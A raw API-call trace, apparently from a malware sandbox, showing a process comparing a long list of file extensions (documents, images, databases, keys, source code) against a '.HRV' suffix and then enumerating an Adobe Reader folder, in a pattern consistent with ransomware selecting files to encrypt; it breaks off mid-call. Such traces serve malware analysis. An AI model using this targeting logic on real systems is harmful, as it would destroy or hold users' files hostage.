[0147.952] lstrlenW (lpString=".asr") returned 4 [0147.952] lstrcmpiW (lpString1=".asr", lpString2=".HRV") returned -1 [0147.952] lstrlenW (lpString=".asx") returned 4 [0147.952] lstrcmpiW (lpString1=".asx", lpString2=".HRV") returned -1 [0147.952] lstrlenW (lpString=".avi") returned 4 [0147.952] lstrcmpiW (lpString1=".avi", lpString2=".HRV") returned -1 [0147.952] lstrlenW (lpString=".avs") returned 4 [0147.952] lstrcmpiW (lpString1=".avs", lpString2=".HRV") returned -1 [0147.952] lstrlenW (lpString=".backup") returned 7 [0147.952] lstrcmpiW (lpString1=".backup", lpString2="ity.HRV") returned -1 [0147.952] lstrlenW (lpString=".bak") returned 4 [0147.952] lstrcmpiW (lpString1=".bak", lpString2=".HRV") returned -1 [0147.952] lstrlenW (lpString=".bay") returned 4 [0147.952] lstrcmpiW (lpString1=".bay", lpString2=".HRV") returned -1 [0147.952] lstrlenW (lpString=".bd") returned 3 [0147.952] lstrcmpiW (lpString1=".bd", lpString2="HRV") returned -1 [0147.952] lstrlenW (lpString=".bin") returned 4 [0147.952] lstrcmpiW (lpString1=".bin", lpString2=".HRV") returned -1 [0147.952] lstrlenW (lpString=".bmp") returned 4 [0147.952] lstrcmpiW (lpString1=".bmp", lpString2=".HRV") returned -1 [0147.952] lstrlenW (lpString=".bz2") returned 4 [0147.952] lstrcmpiW (lpString1=".bz2", lpString2=".HRV") returned -1 [0147.952] lstrlenW (lpString=".c") returned 2 [0147.952] lstrcmpiW (lpString1=".c", lpString2="RV") returned -1 [0147.952] lstrlenW (lpString=".cdr") returned 4 [0147.953] lstrcmpiW (lpString1=".cdr", lpString2=".HRV") returned -1 [0147.953] lstrlenW (lpString=".cer") returned 4 [0147.953] lstrcmpiW (lpString1=".cer", lpString2=".HRV") returned -1 [0147.953] lstrlenW (lpString=".cf") returned 3 [0147.953] lstrcmpiW (lpString1=".cf", lpString2="HRV") returned -1 [0147.953] lstrlenW (lpString=".cfc") returned 4 [0147.953] lstrcmpiW (lpString1=".cfc", lpString2=".HRV") returned -1 [0147.953] lstrlenW (lpString=".cfm") returned 4 [0147.953] lstrcmpiW (lpString1=".cfm", lpString2=".HRV") returned -1 [0147.953] lstrlenW (lpString=".cfml") returned 5 [0147.953] lstrcmpiW (lpString1=".cfml", lpString2="y.HRV") returned -1 [0147.953] lstrlenW (lpString=".cfu") returned 4 [0147.953] lstrcmpiW (lpString1=".cfu", lpString2=".HRV") returned -1 [0147.953] lstrlenW (lpString=".chm") returned 4 [0147.953] lstrcmpiW (lpString1=".chm", lpString2=".HRV") returned -1 [0147.953] lstrlenW (lpString=".cin") returned 4 [0147.953] lstrcmpiW (lpString1=".cin", lpString2=".HRV") returned -1 [0147.953] lstrlenW (lpString=".class") returned 6 [0147.953] lstrcmpiW (lpString1=".class", lpString2="ty.HRV") returned -1 [0147.953] lstrlenW (lpString=".clx") returned 4 [0147.953] lstrcmpiW (lpString1=".clx", lpString2=".HRV") returned -1 [0147.953] lstrlenW (lpString=".config") returned 7 [0147.953] lstrcmpiW (lpString1=".config", lpString2="ity.HRV") returned -1 [0147.953] lstrlenW (lpString=".cpp") returned 4 [0147.953] lstrcmpiW (lpString1=".cpp", lpString2=".HRV") returned -1 [0147.953] lstrlenW (lpString=".cr2") returned 4 [0147.953] lstrcmpiW (lpString1=".cr2", lpString2=".HRV") returned -1 [0147.953] lstrlenW (lpString=".crt") returned 4 [0147.954] lstrcmpiW (lpString1=".crt", lpString2=".HRV") returned -1 [0147.954] lstrlenW (lpString=".crw") returned 4 [0147.954] lstrcmpiW (lpString1=".crw", lpString2=".HRV") returned -1 [0147.954] lstrlenW (lpString=".cs") returned 3 [0147.954] lstrcmpiW (lpString1=".cs", lpString2="HRV") returned -1 [0147.954] lstrlenW (lpString=".css") returned 4 [0147.954] lstrcmpiW (lpString1=".css", lpString2=".HRV") returned -1 [0147.954] lstrlenW (lpString=".csv") returned 4 [0147.954] lstrcmpiW (lpString1=".csv", lpString2=".HRV") returned -1 [0147.954] lstrlenW (lpString=".cub") returned 4 [0147.954] lstrcmpiW (lpString1=".cub", lpString2=".HRV") returned -1 [0147.954] lstrlenW (lpString=".dae") returned 4 [0147.954] lstrcmpiW (lpString1=".dae", lpString2=".HRV") returned -1 [0147.954] lstrlenW (lpString=".dat") returned 4 [0147.954] lstrcmpiW (lpString1=".dat", lpString2=".HRV") returned -1 [0147.954] lstrlenW (lpString=".db") returned 3 [0147.954] lstrcmpiW (lpString1=".db", lpString2="HRV") returned -1 [0147.954] lstrlenW (lpString=".dbf") returned 4 [0147.954] lstrcmpiW (lpString1=".dbf", lpString2=".HRV") returned -1 [0147.954] lstrlenW (lpString=".dbx") returned 4 [0147.954] lstrcmpiW (lpString1=".dbx", lpString2=".HRV") returned -1 [0147.954] lstrlenW (lpString=".dc3") returned 4 [0147.954] lstrcmpiW (lpString1=".dc3", lpString2=".HRV") returned -1 [0147.954] lstrlenW (lpString=".dcm") returned 4 [0147.954] lstrcmpiW (lpString1=".dcm", lpString2=".HRV") returned -1 [0147.954] lstrlenW (lpString=".dcr") returned 4 [0147.954] lstrcmpiW (lpString1=".dcr", lpString2=".HRV") returned -1 [0147.955] lstrlenW (lpString=".der") returned 4 [0147.955] lstrcmpiW (lpString1=".der", lpString2=".HRV") returned -1 [0147.955] lstrlenW (lpString=".dib") returned 4 [0147.955] lstrcmpiW (lpString1=".dib", lpString2=".HRV") returned -1 [0147.955] lstrlenW (lpString=".dic") returned 4 [0147.955] lstrcmpiW (lpString1=".dic", lpString2=".HRV") returned -1 [0147.955] lstrlenW (lpString=".dif") returned 4 [0147.955] lstrcmpiW (lpString1=".dif", lpString2=".HRV") returned -1 [0147.955] lstrlenW (lpString=".divx") returned 5 [0147.955] lstrcmpiW (lpString1=".divx", lpString2="y.HRV") returned -1 [0147.955] lstrlenW (lpString=".djvu") returned 5 [0147.955] lstrcmpiW (lpString1=".djvu", lpString2="y.HRV") returned -1 [0147.955] lstrlenW (lpString=".dng") returned 4 [0147.955] lstrcmpiW (lpString1=".dng", lpString2=".HRV") returned -1 [0147.955] lstrlenW (lpString=".doc") returned 4 [0147.955] lstrcmpiW (lpString1=".doc", lpString2=".HRV") returned -1 [0147.955] lstrlenW (lpString=".docm") returned 5 [0147.955] lstrcmpiW (lpString1=".docm", lpString2="y.HRV") returned -1 [0147.955] lstrlenW (lpString=".docx") returned 5 [0147.955] lstrcmpiW (lpString1=".docx", lpString2="y.HRV") returned -1 [0147.955] lstrlenW (lpString=".dot") returned 4 [0147.955] lstrcmpiW (lpString1=".dot", lpString2=".HRV") returned -1 [0147.955] lstrlenW (lpString=".dotm") returned 5 [0147.955] lstrcmpiW (lpString1=".dotm", lpString2="y.HRV") returned -1 [0147.955] lstrlenW (lpString=".dotx") returned 5 [0147.955] lstrcmpiW (lpString1=".dotx", lpString2="y.HRV") returned -1 [0147.955] lstrlenW (lpString=".dpx") returned 4 [0147.955] lstrcmpiW (lpString1=".dpx", lpString2=".HRV") returned -1 [0147.956] lstrlenW (lpString=".dqy") returned 4 [0147.956] lstrcmpiW (lpString1=".dqy", lpString2=".HRV") returned -1 [0147.956] lstrlenW (lpString=".dsn") returned 4 [0147.956] lstrcmpiW (lpString1=".dsn", lpString2=".HRV") returned -1 [0147.956] lstrlenW (lpString=".dt") returned 3 [0147.956] lstrcmpiW (lpString1=".dt", lpString2="HRV") returned -1 [0147.956] lstrlenW (lpString=".dtd") returned 4 [0147.956] lstrcmpiW (lpString1=".dtd", lpString2=".HRV") returned -1 [0147.956] lstrlenW (lpString=".dwg") returned 4 [0147.956] lstrcmpiW (lpString1=".dwg", lpString2=".HRV") returned -1 [0147.956] lstrlenW (lpString=".dwt") returned 4 [0147.956] lstrcmpiW (lpString1=".dwt", lpString2=".HRV") returned -1 [0147.956] lstrlenW (lpString=".dx") returned 3 [0147.956] lstrcmpiW (lpString1=".dx", lpString2="HRV") returned -1 [0147.956] lstrlenW (lpString=".dxf") returned 4 [0147.956] lstrcmpiW (lpString1=".dxf", lpString2=".HRV") returned -1 [0147.956] lstrlenW (lpString=".edml") returned 5 [0147.956] lstrcmpiW (lpString1=".edml", lpString2="y.HRV") returned -1 [0147.956] lstrlenW (lpString=".efd") returned 4 [0147.956] lstrcmpiW (lpString1=".efd", lpString2=".HRV") returned -1 [0147.956] lstrlenW (lpString=".elf") returned 4 [0147.956] lstrcmpiW (lpString1=".elf", lpString2=".HRV") returned -1 [0147.956] lstrlenW (lpString=".emf") returned 4 [0147.956] lstrcmpiW (lpString1=".emf", lpString2=".HRV") returned -1 [0147.956] lstrlenW (lpString=".emz") returned 4 [0147.956] lstrcmpiW (lpString1=".emz", lpString2=".HRV") returned -1 [0147.956] lstrlenW (lpString=".epf") returned 4 [0147.956] lstrcmpiW (lpString1=".epf", lpString2=".HRV") returned -1 [0147.957] lstrlenW (lpString=".eps") returned 4 [0147.957] lstrcmpiW (lpString1=".eps", lpString2=".HRV") returned -1 [0147.957] lstrlenW (lpString=".epsf") returned 5 [0147.957] lstrcmpiW (lpString1=".epsf", lpString2="y.HRV") returned -1 [0147.957] lstrlenW (lpString=".epsp") returned 5 [0147.957] lstrcmpiW (lpString1=".epsp", lpString2="y.HRV") returned -1 [0147.957] lstrlenW (lpString=".erf") returned 4 [0147.957] lstrcmpiW (lpString1=".erf", lpString2=".HRV") returned -1 [0147.957] lstrlenW (lpString=".exr") returned 4 [0147.957] lstrcmpiW (lpString1=".exr", lpString2=".HRV") returned -1 [0147.957] lstrlenW (lpString=".f4v") returned 4 [0147.957] lstrcmpiW (lpString1=".f4v", lpString2=".HRV") returned -1 [0147.957] lstrlenW (lpString=".fido") returned 5 [0147.957] lstrcmpiW (lpString1=".fido", lpString2="y.HRV") returned -1 [0147.957] lstrlenW (lpString=".flm") returned 4 [0147.957] lstrcmpiW (lpString1=".flm", lpString2=".HRV") returned -1 [0147.957] lstrlenW (lpString=".flv") returned 4 [0147.957] lstrcmpiW (lpString1=".flv", lpString2=".HRV") returned -1 [0147.957] lstrlenW (lpString=".frm") returned 4 [0147.957] lstrcmpiW (lpString1=".frm", lpString2=".HRV") returned -1 [0147.957] lstrlenW (lpString=".fxg") returned 4 [0147.957] lstrcmpiW (lpString1=".fxg", lpString2=".HRV") returned -1 [0147.957] lstrlenW (lpString=".geo") returned 4 [0147.957] lstrcmpiW (lpString1=".geo", lpString2=".HRV") returned -1 [0147.957] lstrlenW (lpString=".gif") returned 4 [0147.957] lstrcmpiW (lpString1=".gif", lpString2=".HRV") returned -1 [0147.957] lstrlenW (lpString=".grs") returned 4 [0147.957] lstrcmpiW (lpString1=".grs", lpString2=".HRV") returned -1 [0147.958] lstrlenW (lpString=".gz") returned 3 [0147.958] lstrcmpiW (lpString1=".gz", lpString2="HRV") returned -1 [0147.958] lstrlenW (lpString=".h") returned 2 [0147.958] lstrcmpiW (lpString1=".h", lpString2="RV") returned -1 [0147.958] lstrlenW (lpString=".hdr") returned 4 [0147.958] lstrcmpiW (lpString1=".hdr", lpString2=".HRV") returned -1 [0147.958] lstrlenW (lpString=".hpp") returned 4 [0147.958] lstrcmpiW (lpString1=".hpp", lpString2=".HRV") returned -1 [0147.958] lstrlenW (lpString=".hta") returned 4 [0147.958] lstrcmpiW (lpString1=".hta", lpString2=".HRV") returned 1 [0147.958] lstrlenW (lpString=".htc") returned 4 [0147.958] lstrcmpiW (lpString1=".htc", lpString2=".HRV") returned 1 [0147.958] lstrlenW (lpString=".htm") returned 4 [0147.958] lstrcmpiW (lpString1=".htm", lpString2=".HRV") returned 1 [0147.958] lstrlenW (lpString=".html") returned 5 [0147.958] lstrcmpiW (lpString1=".html", lpString2="y.HRV") returned -1 [0147.958] lstrlenW (lpString=".icb") returned 4 [0147.958] lstrcmpiW (lpString1=".icb", lpString2=".HRV") returned 1 [0147.958] lstrlenW (lpString=".ics") returned 4 [0147.958] lstrcmpiW (lpString1=".ics", lpString2=".HRV") returned 1 [0147.958] lstrlenW (lpString=".iff") returned 4 [0147.958] lstrcmpiW (lpString1=".iff", lpString2=".HRV") returned 1 [0147.958] lstrlenW (lpString=".inc") returned 4 [0147.958] lstrcmpiW (lpString1=".inc", lpString2=".HRV") returned 1 [0147.958] lstrlenW (lpString=".indd") returned 5 [0147.958] lstrcmpiW (lpString1=".indd", lpString2="y.HRV") returned -1 [0147.958] lstrlenW (lpString=".ini") returned 4 [0147.958] lstrcmpiW (lpString1=".ini", lpString2=".HRV") returned 1 [0147.959] lstrlenW (lpString=".iqy") returned 4 [0147.959] lstrcmpiW (lpString1=".iqy", lpString2=".HRV") returned 1 [0147.959] lstrlenW (lpString=".j2c") returned 4 [0147.959] lstrcmpiW (lpString1=".j2c", lpString2=".HRV") returned 1 [0147.959] lstrlenW (lpString=".j2k") returned 4 [0147.959] lstrcmpiW (lpString1=".j2k", lpString2=".HRV") returned 1 [0147.959] lstrlenW (lpString=".java") returned 5 [0147.959] lstrcmpiW (lpString1=".java", lpString2="y.HRV") returned -1 [0147.959] lstrlenW (lpString=".jp2") returned 4 [0147.959] lstrcmpiW (lpString1=".jp2", lpString2=".HRV") returned 1 [0147.959] lstrlenW (lpString=".jpc") returned 4 [0147.959] lstrcmpiW (lpString1=".jpc", lpString2=".HRV") returned 1 [0147.959] lstrlenW (lpString=".jpe") returned 4 [0147.959] lstrcmpiW (lpString1=".jpe", lpString2=".HRV") returned 1 [0147.959] lstrlenW (lpString=".jpeg") returned 5 [0147.959] lstrcmpiW (lpString1=".jpeg", lpString2="y.HRV") returned -1 [0147.959] lstrlenW (lpString=".jpf") returned 4 [0147.959] lstrcmpiW (lpString1=".jpf", lpString2=".HRV") returned 1 [0147.959] lstrlenW (lpString=".jpg") returned 4 [0147.959] lstrcmpiW (lpString1=".jpg", lpString2=".HRV") returned 1 [0147.959] lstrlenW (lpString=".jpx") returned 4 [0147.959] lstrcmpiW (lpString1=".jpx", lpString2=".HRV") returned 1 [0147.959] lstrlenW (lpString=".js") returned 3 [0147.959] lstrcmpiW (lpString1=".js", lpString2="HRV") returned -1 [0147.959] lstrlenW (lpString=".jsf") returned 4 [0147.959] lstrcmpiW (lpString1=".jsf", lpString2=".HRV") returned 1 [0147.959] lstrlenW (lpString=".json") returned 5 [0147.960] lstrcmpiW (lpString1=".json", lpString2="y.HRV") returned -1 [0147.960] lstrlenW (lpString=".jsp") returned 4 [0147.960] lstrcmpiW (lpString1=".jsp", lpString2=".HRV") returned 1 [0147.960] lstrlenW (lpString=".kdc") returned 4 [0147.960] lstrcmpiW (lpString1=".kdc", lpString2=".HRV") returned 1 [0147.960] lstrlenW (lpString=".kmz") returned 4 [0147.960] lstrcmpiW (lpString1=".kmz", lpString2=".HRV") returned 1 [0147.960] lstrlenW (lpString=".kwm") returned 4 [0147.960] lstrcmpiW (lpString1=".kwm", lpString2=".HRV") returned 1 [0147.960] lstrlenW (lpString=".lasso") returned 6 [0147.960] lstrcmpiW (lpString1=".lasso", lpString2="ty.HRV") returned -1 [0147.960] lstrlenW (lpString=".lbi") returned 4 [0147.960] lstrcmpiW (lpString1=".lbi", lpString2=".HRV") returned 1 [0147.960] lstrlenW (lpString=".lgf") returned 4 [0147.960] lstrcmpiW (lpString1=".lgf", lpString2=".HRV") returned 1 [0147.960] lstrlenW (lpString=".lgp") returned 4 [0147.960] lstrcmpiW (lpString1=".lgp", lpString2=".HRV") returned 1 [0147.960] lstrlenW (lpString=".log") returned 4 [0147.960] lstrcmpiW (lpString1=".log", lpString2=".HRV") returned 1 [0147.960] lstrlenW (lpString=".m1v") returned 4 [0147.960] lstrcmpiW (lpString1=".m1v", lpString2=".HRV") returned 1 [0147.960] lstrlenW (lpString=".m4a") returned 4 [0147.960] lstrcmpiW (lpString1=".m4a", lpString2=".HRV") returned 1 [0147.960] lstrlenW (lpString=".m4v") returned 4 [0147.960] lstrcmpiW (lpString1=".m4v", lpString2=".HRV") returned 1 [0147.960] lstrlenW (lpString=".max") returned 4 [0147.960] lstrcmpiW (lpString1=".max", lpString2=".HRV") returned 1 [0147.960] lstrlenW (lpString=".md") returned 3 [0147.961] lstrcmpiW (lpString1=".md", lpString2="HRV") returned -1 [0147.961] lstrlenW (lpString=".mda") returned 4 [0147.961] lstrcmpiW (lpString1=".mda", lpString2=".HRV") returned 1 [0147.961] lstrlenW (lpString=".mdb") returned 4 [0147.961] lstrcmpiW (lpString1=".mdb", lpString2=".HRV") returned 1 [0147.961] lstrlenW (lpString=".mde") returned 4 [0147.961] lstrcmpiW (lpString1=".mde", lpString2=".HRV") returned 1 [0147.961] lstrlenW (lpString=".mdf") returned 4 [0147.961] lstrcmpiW (lpString1=".mdf", lpString2=".HRV") returned 1 [0147.961] lstrlenW (lpString=".mdw") returned 4 [0147.961] lstrcmpiW (lpString1=".mdw", lpString2=".HRV") returned 1 [0147.961] lstrlenW (lpString=".mef") returned 4 [0147.961] lstrcmpiW (lpString1=".mef", lpString2=".HRV") returned 1 [0147.961] lstrlenW (lpString=".mft") returned 4 [0147.961] lstrcmpiW (lpString1=".mft", lpString2=".HRV") returned 1 [0147.961] lstrlenW (lpString=".mfw") returned 4 [0147.961] lstrcmpiW (lpString1=".mfw", lpString2=".HRV") returned 1 [0147.961] lstrlenW (lpString=".mht") returned 4 [0147.961] lstrcmpiW (lpString1=".mht", lpString2=".HRV") returned 1 [0147.961] lstrlenW (lpString=".mhtml") returned 6 [0147.961] lstrcmpiW (lpString1=".mhtml", lpString2="ty.HRV") returned -1 [0147.961] lstrlenW (lpString=".mka") returned 4 [0147.961] lstrcmpiW (lpString1=".mka", lpString2=".HRV") returned 1 [0147.961] lstrlenW (lpString=".mkidx") returned 6 [0147.961] lstrcmpiW (lpString1=".mkidx", lpString2="ty.HRV") returned -1 [0147.961] lstrlenW (lpString=".mkv") returned 4 [0147.961] lstrcmpiW (lpString1=".mkv", lpString2=".HRV") returned 1 [0147.961] lstrlenW (lpString=".mos") returned 4 [0147.962] lstrcmpiW (lpString1=".mos", lpString2=".HRV") returned 1 [0147.962] lstrlenW (lpString=".mov") returned 4 [0147.962] lstrcmpiW (lpString1=".mov", lpString2=".HRV") returned 1 [0147.962] lstrlenW (lpString=".mp3") returned 4 [0147.962] lstrcmpiW (lpString1=".mp3", lpString2=".HRV") returned 1 [0147.962] lstrlenW (lpString=".mp4") returned 4 [0147.962] lstrcmpiW (lpString1=".mp4", lpString2=".HRV") returned 1 [0147.962] lstrlenW (lpString=".mpeg") returned 5 [0147.962] lstrcmpiW (lpString1=".mpeg", lpString2="y.HRV") returned -1 [0147.962] lstrlenW (lpString=".mpg") returned 4 [0147.962] lstrcmpiW (lpString1=".mpg", lpString2=".HRV") returned 1 [0147.962] lstrlenW (lpString=".mpv") returned 4 [0147.962] lstrcmpiW (lpString1=".mpv", lpString2=".HRV") returned 1 [0147.962] lstrlenW (lpString=".mrw") returned 4 [0147.962] lstrcmpiW (lpString1=".mrw", lpString2=".HRV") returned 1 [0147.962] lstrlenW (lpString=".msg") returned 4 [0147.962] lstrcmpiW (lpString1=".msg", lpString2=".HRV") returned 1 [0147.962] lstrlenW (lpString=".mxl") returned 4 [0147.962] lstrcmpiW (lpString1=".mxl", lpString2=".HRV") returned 1 [0147.962] lstrlenW (lpString=".myd") returned 4 [0147.962] lstrcmpiW (lpString1=".myd", lpString2=".HRV") returned 1 [0147.962] lstrlenW (lpString=".myi") returned 4 [0147.962] lstrcmpiW (lpString1=".myi", lpString2=".HRV") returned 1 [0147.962] lstrlenW (lpString=".nef") returned 4 [0147.962] lstrcmpiW (lpString1=".nef", lpString2=".HRV") returned 1 [0147.962] lstrlenW (lpString=".nrw") returned 4 [0147.962] lstrcmpiW (lpString1=".nrw", lpString2=".HRV") returned 1 [0147.962] lstrlenW (lpString=".obj") returned 4 [0147.962] lstrcmpiW (lpString1=".obj", lpString2=".HRV") returned 1 [0147.962] lstrlenW (lpString=".odb") returned 4 [0147.962] lstrcmpiW (lpString1=".odb", lpString2=".HRV") returned 1 [0147.962] lstrlenW (lpString=".odc") returned 4 [0147.962] lstrcmpiW (lpString1=".odc", lpString2=".HRV") returned 1 [0147.963] lstrlenW (lpString=".odm") returned 4 [0147.963] lstrcmpiW (lpString1=".odm", lpString2=".HRV") returned 1 [0147.963] lstrlenW (lpString=".odp") returned 4 [0147.963] lstrcmpiW (lpString1=".odp", lpString2=".HRV") returned 1 [0147.963] lstrlenW (lpString=".ods") returned 4 [0147.963] lstrcmpiW (lpString1=".ods", lpString2=".HRV") returned 1 [0147.963] lstrlenW (lpString=".oft") returned 4 [0147.963] lstrcmpiW (lpString1=".oft", lpString2=".HRV") returned 1 [0147.963] lstrlenW (lpString=".one") returned 4 [0147.963] lstrcmpiW (lpString1=".one", lpString2=".HRV") returned 1 [0147.963] lstrlenW (lpString=".onepkg") returned 7 [0147.963] lstrcmpiW (lpString1=".onepkg", lpString2="ity.HRV") returned -1 [0147.963] lstrlenW (lpString=".onetoc2") returned 8 [0147.963] lstrcmpiW (lpString1=".onetoc2", lpString2="lity.HRV") returned -1 [0147.963] lstrlenW (lpString=".opt") returned 4 [0147.963] lstrcmpiW (lpString1=".opt", lpString2=".HRV") returned 1 [0147.963] lstrlenW (lpString=".oqy") returned 4 [0147.963] lstrcmpiW (lpString1=".oqy", lpString2=".HRV") returned 1 [0147.963] lstrlenW (lpString=".orf") returned 4 [0147.963] lstrcmpiW (lpString1=".orf", lpString2=".HRV") returned 1 [0147.963] lstrlenW (lpString=".p12") returned 4 [0147.963] lstrcmpiW (lpString1=".p12", lpString2=".HRV") returned 1 [0147.963] lstrlenW (lpString=".p7b") returned 4 [0147.963] lstrcmpiW (lpString1=".p7b", lpString2=".HRV") returned 1 [0147.963] lstrlenW (lpString=".p7c") returned 4 [0147.963] lstrcmpiW (lpString1=".p7c", lpString2=".HRV") returned 1 [0147.963] lstrlenW (lpString=".pam") returned 4 [0147.963] lstrcmpiW (lpString1=".pam", lpString2=".HRV") returned 1 [0147.963] lstrlenW (lpString=".pbm") returned 4 [0147.963] lstrcmpiW (lpString1=".pbm", lpString2=".HRV") returned 1 [0147.963] lstrlenW (lpString=".pct") returned 4 [0147.963] lstrcmpiW (lpString1=".pct", lpString2=".HRV") returned 1 [0147.963] lstrlenW (lpString=".pcx") returned 4 [0147.963] lstrcmpiW (lpString1=".pcx", lpString2=".HRV") returned 1 [0147.964] lstrlenW (lpString=".pdd") returned 4 [0147.964] lstrcmpiW (lpString1=".pdd", lpString2=".HRV") returned 1 [0147.964] lstrlenW (lpString=".pdf") returned 4 [0147.964] lstrcmpiW (lpString1=".pdf", lpString2=".HRV") returned 1 [0147.964] lstrlenW (lpString=".pdp") returned 4 [0147.964] lstrcmpiW (lpString1=".pdp", lpString2=".HRV") returned 1 [0147.964] lstrlenW (lpString=".pef") returned 4 [0147.964] lstrcmpiW (lpString1=".pef", lpString2=".HRV") returned 1 [0147.964] lstrlenW (lpString=".pem") returned 4 [0147.964] lstrcmpiW (lpString1=".pem", lpString2=".HRV") returned 1 [0147.964] lstrlenW (lpString=".pff") returned 4 [0147.964] lstrcmpiW (lpString1=".pff", lpString2=".HRV") returned 1 [0147.964] lstrlenW (lpString=".pfm") returned 4 [0147.964] lstrcmpiW (lpString1=".pfm", lpString2=".HRV") returned 1 [0147.964] lstrlenW (lpString=".pfx") returned 4 [0147.964] lstrcmpiW (lpString1=".pfx", lpString2=".HRV") returned 1 [0147.964] lstrlenW (lpString=".pgm") returned 4 [0147.964] lstrcmpiW (lpString1=".pgm", lpString2=".HRV") returned 1 [0147.964] lstrlenW (lpString=".php") returned 4 [0147.964] lstrcmpiW (lpString1=".php", lpString2=".HRV") returned 1 [0147.964] lstrlenW (lpString=".php3") returned 5 [0147.964] lstrcmpiW (lpString1=".php3", lpString2="y.HRV") returned -1 [0147.964] lstrlenW (lpString=".php4") returned 5 [0147.964] lstrcmpiW (lpString1=".php4", lpString2="y.HRV") returned -1 [0147.964] lstrlenW (lpString=".php5") returned 5 [0147.964] lstrcmpiW (lpString1=".php5", lpString2="y.HRV") returned -1 [0147.964] lstrlenW (lpString=".phtml") returned 6 [0147.964] lstrcmpiW (lpString1=".phtml", lpString2="ty.HRV") returned -1 [0147.964] lstrlenW (lpString=".pict") returned 5 [0147.964] lstrcmpiW (lpString1=".pict", lpString2="y.HRV") returned -1 [0147.964] lstrlenW (lpString=".pl") returned 3 [0147.964] lstrcmpiW (lpString1=".pl", lpString2="HRV") returned -1 [0147.964] lstrlenW (lpString=".pls") returned 4 [0147.964] lstrcmpiW (lpString1=".pls", lpString2=".HRV") returned 1 [0147.964] lstrlenW (lpString=".pm") returned 3 [0147.965] lstrcmpiW (lpString1=".pm", lpString2="HRV") returned -1 [0147.965] lstrlenW (lpString=".png") returned 4 [0147.965] lstrcmpiW (lpString1=".png", lpString2=".HRV") returned 1 [0147.965] lstrlenW (lpString=".pnm") returned 4 [0147.965] lstrcmpiW (lpString1=".pnm", lpString2=".HRV") returned 1 [0147.965] lstrlenW (lpString=".pot") returned 4 [0147.965] lstrcmpiW (lpString1=".pot", lpString2=".HRV") returned 1 [0147.965] lstrlenW (lpString=".potm") returned 5 [0147.965] lstrcmpiW (lpString1=".potm", lpString2="y.HRV") returned -1 [0147.965] lstrlenW (lpString=".potx") returned 5 [0147.965] lstrcmpiW (lpString1=".potx", lpString2="y.HRV") returned -1 [0147.965] lstrlenW (lpString=".ppa") returned 4 [0147.965] lstrcmpiW (lpString1=".ppa", lpString2=".HRV") returned 1 [0147.965] lstrlenW (lpString=".ppam") returned 5 [0147.965] lstrcmpiW (lpString1=".ppam", lpString2="y.HRV") returned -1 [0147.965] lstrlenW (lpString=".ppm") returned 4 [0147.965] lstrcmpiW (lpString1=".ppm", lpString2=".HRV") returned 1 [0147.965] lstrlenW (lpString=".pps") returned 4 [0147.965] lstrcmpiW (lpString1=".pps", lpString2=".HRV") returned 1 [0147.965] lstrlenW (lpString=".ppsm") returned 5 [0147.965] lstrcmpiW (lpString1=".ppsm", lpString2="y.HRV") returned -1 [0147.965] lstrlenW (lpString=".ppt") returned 4 [0147.965] lstrcmpiW (lpString1=".ppt", lpString2=".HRV") returned 1 [0147.966] lstrlenW (lpString=".pptm") returned 5 [0147.966] lstrcmpiW (lpString1=".pptm", lpString2="y.HRV") returned -1 [0147.966] lstrlenW (lpString=".pptx") returned 5 [0147.966] lstrcmpiW (lpString1=".pptx", lpString2="y.HRV") returned -1 [0147.966] lstrlenW (lpString=".prn") returned 4 [0147.966] lstrcmpiW (lpString1=".prn", lpString2=".HRV") returned 1 [0147.966] lstrlenW (lpString=".ps") returned 3 [0147.966] lstrcmpiW (lpString1=".ps", lpString2="HRV") returned -1 [0147.966] lstrlenW (lpString=".psb") returned 4 [0147.966] lstrcmpiW (lpString1=".psb", lpString2=".HRV") returned 1 [0147.966] lstrlenW (lpString=".psd") returned 4 [0147.966] lstrcmpiW (lpString1=".psd", lpString2=".HRV") returned 1 [0147.966] lstrlenW (lpString=".pst") returned 4 [0147.966] lstrcmpiW (lpString1=".pst", lpString2=".HRV") returned 1 [0147.966] lstrlenW (lpString=".ptx") returned 4 [0147.966] lstrcmpiW (lpString1=".ptx", lpString2=".HRV") returned 1 [0147.966] lstrlenW (lpString=".pub") returned 4 [0147.966] lstrcmpiW (lpString1=".pub", lpString2=".HRV") returned 1 [0147.966] lstrlenW (lpString=".pwm") returned 4 [0147.966] lstrcmpiW (lpString1=".pwm", lpString2=".HRV") returned 1 [0147.966] lstrlenW (lpString=".pxr") returned 4 [0147.966] lstrcmpiW (lpString1=".pxr", lpString2=".HRV") returned 1 [0147.966] lstrlenW (lpString=".py") returned 3 [0147.966] lstrcmpiW (lpString1=".py", lpString2="HRV") returned -1 [0147.966] lstrlenW (lpString=".qt") returned 3 [0147.966] lstrcmpiW (lpString1=".qt", lpString2="HRV") returned -1 [0147.966] lstrlenW (lpString=".r3d") returned 4 [0147.966] lstrcmpiW (lpString1=".r3d", lpString2=".HRV") returned 1 [0147.966] lstrlenW (lpString=".raf") returned 4 [0147.966] lstrcmpiW (lpString1=".raf", lpString2=".HRV") returned 1 [0147.966] lstrlenW (lpString=".rar") returned 4 [0147.966] lstrcmpiW (lpString1=".rar", lpString2=".HRV") returned 1 [0147.966] lstrlenW (lpString=".raw") returned 4 [0147.966] lstrcmpiW (lpString1=".raw", lpString2=".HRV") returned 1 [0147.967] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0147.968] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.968] FindNextFileW (in: hFindFile=0x4191680, 